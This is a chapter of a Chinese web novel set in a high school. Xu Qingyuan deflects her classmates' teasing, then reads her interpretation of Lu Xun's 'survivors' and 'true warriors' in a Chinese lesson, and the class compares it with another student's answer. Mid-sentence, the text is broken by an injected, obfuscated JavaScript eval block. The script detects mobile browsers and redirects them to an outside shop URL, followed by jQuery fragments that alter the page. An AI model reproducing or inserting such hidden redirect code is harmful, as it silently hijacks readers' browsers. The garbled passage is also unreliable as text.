原本好好地聊着各自的答题情况，后排两个男生却把她吹捧得越来越夸装，甚至听到对方损自己一句就会接上一句：


    “我哪能和圆姐比啊——”


    听着刺耳得紧。


    许清圆知道他们这话中得有两分是调侃、两分是阴阳，剩下六分则全是对自己的成绩故作不在意的伪装。


    这个年纪的男生也就这点小心思了。


    于是她一笑置之 ，摆摆手叫停这场小型交流会：


    “好了，好了，都低调点，新中国不搞个人崇拜。”


    周围愣了一秒，便立刻“咯咯咯”笑成一片。


    “吱嘎”一声，张若淳把桌子挪回来同许清圆对齐，也跟着笑了两声，随后大声朝后桌的男生说：


    “哈哈哈哈哈——”


    “你们俩也真是的，就坐你们圆姐背后也没瞄到点什么，啧，多好的地理位置被浪费了。”


    “给了机会都不中用啊。”


    许清圆意外地瞟了她一眼，女生神色已经恢复如常，笑语连连，让人都摸不准她是在在开玩笑还是在挖苦人。


    后排的陈光义倒是坐得住，笑嘻嘻地称是，石展脸色却明显有些不快了。


    “瞄谁的也不瞄她的呀......”


    声音很低，在嘈杂的教室中不显，但许清圆听到了，张若淳离他更近，应该听得更清楚。


    但她不咸不淡地回了一句：


    “你刚刚说啥？”


    “瞄出神了也没瞄到她的？”


    “那你的业务还需要精进。”


    说罢她就不理后边儿神色各异的两人，表情一换，和许清圆丁曦兴致勃勃地讨论起娱乐圈最近的劲爆大瓜。


    许清圆心中有些暖意，她从前对张若淳的了解都只停留在她咋咋呼呼的外表上，从未真正生出想与她成为交心朋友的想法。


    然而今天张若淳维护她的举动让她直面自己从前对前者的认知错误。


    或许她有些许让人难以接受的特点，但单是这份让人动容的侠义，就足以让她还未褪去的稚嫩行为瑕不掩瑜。


    虽然从前没有交心的想法，许清园的目光柔和，但今天开始有也不迟呀。


    晚自习结束后，许清圆照例围着教学楼跑了一圈步，期间向星海催她给出参赛作文的意见，许清圆从下午到晚上安排得紧锣密鼓，哪里有时间细看，只得推说要好好品鉴，把交稿（？）时间延后了一天。


    回去又是洗了个战斗澡，赶在关灯之前把一切料理完毕，安然入眠。


    ............


    次日上午第二节课。


    语文。


    翁老师抱着教案走进教室，玫粉色眼镜框住一双笑眯眯的眼睛。


    打开小蜜蜂，她轻声“喂”了几下，确定扩音正常，才不急不徐地说今天的课程安排。


    “今天我们的进度不赶，主要是给上节课的思考题扫个尾，再给古文单元做个导课。”


    台下响起一片低低的欢呼。


    语文组是最倡导素质教育的备课组，单元导课一般都是看看相关视频或者小组自由讨论，对于紧张学习的高中生来说，已经是难得的放松时刻了。


    “大家都喜欢导课是吧。”


    翁老师心领神会地笑笑，


    “但还是要先把上个单元好好结束掉。”


    她说着从教案中拿出一沓七零八碎的纸片儿。


    “大家今早交的思考题我都看过了，写得不错，看得出都是经过了思考的结果。”


    “来课代表把它发下去。”


    黄枞立刻起身，从老师手中小心翼翼地接过那堆参差不齐的作业，给前排的几个同学简单分了几份让他们帮忙发。


    “有两位同学的回答我特别喜欢，一看就是有深入思考和查询课外资料的。”


    此时班上还在兵荒马乱地分发作业，纸片作业大小不一，临危受任的同学们一个没注意就可能有一小堆从指缝中溜出飘散。


    再加上这个班级刚成立一周多，许多人都认不全班上的同学，发作业时只好探头去看讲台上的座位表，看一个发一个，场面一度十分混乱。


    思维还在高三班的翁老师没料到会有这一出，顿时哭笑不得地暂停了讲述，让所有人把还没发完的作业放在讲台上，她念一个领一个，还省事许多。


    “曾飞扬、刘若彤、黄枞......”


    “陈光义、许清圆、王成玉......”


    翁老师语速飞快，叫到名字的学生迅速上台认领了自己的纸片儿，轮到许清圆上台时，翁老师的目光在她身上多停留了两秒，开口道：


    “许清圆，你先别下去，一会把你的答案给大家念念。”


    “还有黄枞，你也留着。”


    “你们的答案很有启发性，我想邀请全班同学一起探讨一下。”


    三十秒后，混乱的领作业场景终于结束，许清圆心中有些微汗，在这么多人面前读融入了自己思想的一些深入剖析文章后的想法，还是有点小尴尬的。


    翁老师示意她站在讲台上，许清圆两步迈了上去，开始念自己写满了一张b5纸片的作业：


    题目——“‘苟活者’和‘真的猛士’，分别指那一类人？有什么含义？”


    许清圆认为，这里的苟活者是鲁迅先生的自我定位，前文中有提到对刘和珍君的定义，言曰“她不是‘苟活到现在的我’的学生”，以及包括同他一样有心救国却迫于政府的控制无法做一番轰轰烈烈的掀起武装斗争和党派革命的大事业的进步人群，只能在精神上和语言上站在进步的一边。


    他们没有像猛士一样奋起反抗，却会为烈士的鲜血痛心不已。在淡红的血色里，他们能看到反抗的希望，并为之奋而摇旗呐喊。


    她念自己答案的同时，还即兴结合史实，举了几个近代文人由于发表激进文章或演讲而被军阀等严密监控甚至杀害的实例，以佐证自己的观点。


    “而真的猛士，指的是像刘和珍一样敢于直面黑暗、不惧牺牲的革命者。”


    “烈士的鲜血不是终点，而是火种，会让他们更坚定地踏着血迹奋勇前行，继续为正义和光明战斗。”


    “好，在这里先停一下。”


    翁老师朝许清圆笑了笑，比了个暂停的手势，然后示意讲台边的黄枞站上去。


    “课代表，把你第一题的答案也念一念，我们对比一下你们两个人想法的异同。”


    黄枞是个皮肤白皙，圆眼睛的微胖女孩，和她在课代表工作上的利落劲儿很反差的是，她说起话来自带一股撒娇的感觉，但她本人却无知无觉，被人调侃嗲声嗲气也毫不生气。


    她站上台流露出了一丝不自然，没有许清圆表现得举重若轻，但开始念自己写的句子之后就变得逐渐自信起来：


    “我认为，苟活者指的是当时社会中麻木、怯懦但尚存良知的普通人。”


    “他们没有像猛士一样奋起反抗，却会被烈士的无畏壮举而震动心房，逐步觉醒。在不断增添的淡红的血色里，他们能模糊看到反抗的希望。”


    “暗示着烈士的牺牲不会白费，能唤醒一部分沉睡的人。”


    “真的猛士是指所有具有革命思想，走在革命的文化或者武装前沿的同志们。他们有着同样的目标，在压迫面前从不放弃反抗。”


    “‘奋然而前行’不仅是对真的勇士的行为的描述，也是鲁迅先生对自己的激励与要求。”


    念完第一题，黄枞询问地抬头看向翁老师，后者朝她点点头，示意先停一下。


    “两位同学答得十分精彩，都有各自的道理，大家有听出这她们的不同之处吗？”


    第二组后排的一个戴眼镜留短发，瘦瘦高高的女生举起了手。


    “好，”翁老师高兴地把他点了起来。


    “宋归是吗？你来说说看你的理解。”


    尽管翁老师人还没认全，但宋归已经多次在语文课上回答问题，她印象深刻。


    宋归清了清嗓


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870251|190186||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子，双手拿起语文书，镇定地说：


    “她们两个的不同首先是总体的不同。”


    “许清圆同学所理解的苟活者和真的猛士的总体，是所有的先进革命分子，他们的区别在于是否进行了实质的革命，或者说加入党派、参与了武装革命斗争。”


    “黄枞同学的答案中这两种人的总体则变成了所有的进步人士以及普通群众中有觉醒希望，还不完全麻木的个体们，区别在于是否真正觉醒革命思维。”


    翁老师惊叹连连：


    “看来你真的听得很认真，概括得十分精准！”


    许清圆也暗暗点头，这家伙前世选科后，作为预招的理科实验班选手，居然独树一帜去了文科班，果然是有两分热爱在的。


    “那你更赞同哪一种观点呢？或者你有自己的想法。”


    宋归正经地摇了摇头，答道：


    “我感觉我周围同学的答案似乎也都偏向黄枞一些，我原来也是这个想法。但是许清圆同学的看法有理有据 ，把我说服了。”


    班里瞬间响起一阵善意的笑声，有人称她是“真香现场”。


    翁老师跟着笑了一阵，复而向许清圆抛出疑问：


    “确实比较大众的观点是苟活者指向有良知的普通人，鲁迅先生前面自称‘苟活’也总被解读成自嘲，除了你讲的那几点，还有什么其他的原因支撑你持这个观点吗？”


    许清圆微微思索即作答：


    “还因为，鲁迅先生的作品中群众经常被描述为麻木不仁，他笔下的‘看客’形象深入人心，这对我的判断有很大的影响。”


    “并且，他也在前文多次提到‘我向来是不惮以最坏的恶意来揣度中国人’，报以这样的心态，我认为他不会在文章末尾将民族复兴的渺茫火种寄托在‘看客’们觉醒这种在他看来渺茫而不可思议的事上。”


    许清圆将内心想法条理分明地道出，赢得了翁老师的一阵掌声。


    “两位同学的答案都十分用心，看得出都有很深厚的积累。”


    “许清圆同学这种敢于提出不同的观点，且能论述得有理有据、征服他人，”翁老师停顿了一瞬，台下哄笑，她也笑着继续说，“是非常值得我们学习借鉴的。”


    “一千个读者心中有一千个哈姆雷特，语文学习没有标准答案，高中教育就算有再多的教条，所有的参考答案后面也会写上‘言之成理即可’六个字。”


    “所以，希望同学们能对语文学习燃起热情，不要被分数定义，真正从中培养自己的思辨能力和文学情操，这才是我们的教育最终的目的。”


    翁老师的声音响起在每个同学心中，许清圆同样深受鼓舞。


    学习语文，会增加知识的重量，品味文学，会增加灵魂的重量。


    她亦在朝着品味的高度默默前行。


    随后的两个问题，许清圆和黄枞两人亦是各有说法，但到底殊途同归，翁老师再次把二人狠狠表扬一番，将属于她们的两张纸片儿张贴在了教室后黑板，才允许二人下台。


    二人还没回座位，班里立刻响起一阵压抑许久的欢呼


    “行了行了，知道你们等不及要看视频了。”


    距离下课还有二十分钟，翁老师好脾气地同学生们说笑，同时播放早已准备好的导学视频。


    下课后，黄枞从翁老师手中接过一张表，站上讲台大声说：


    “荆轲刺秦和鸿门宴两个小剧目可以报名了！大家各自商量好，今天上午之前来我这填表。”


    “角色有冲突的话会采取先调整后抽签的方式来决定，确定好之后今晚晚读就可以开始到隔壁空教室去排练了。”


    “大家课间抓紧时间讨论！”


    黄枞说完之后悄无声息地回到了座位，确实瞬间炒热了班级声量。


    “我们报名吧！我要演荆轲！”


    张若淳一手一个，拉起许清圆和丁曦就往黄枞所在的一组冲。


    “先到先得，我们够快才能抢占先机！”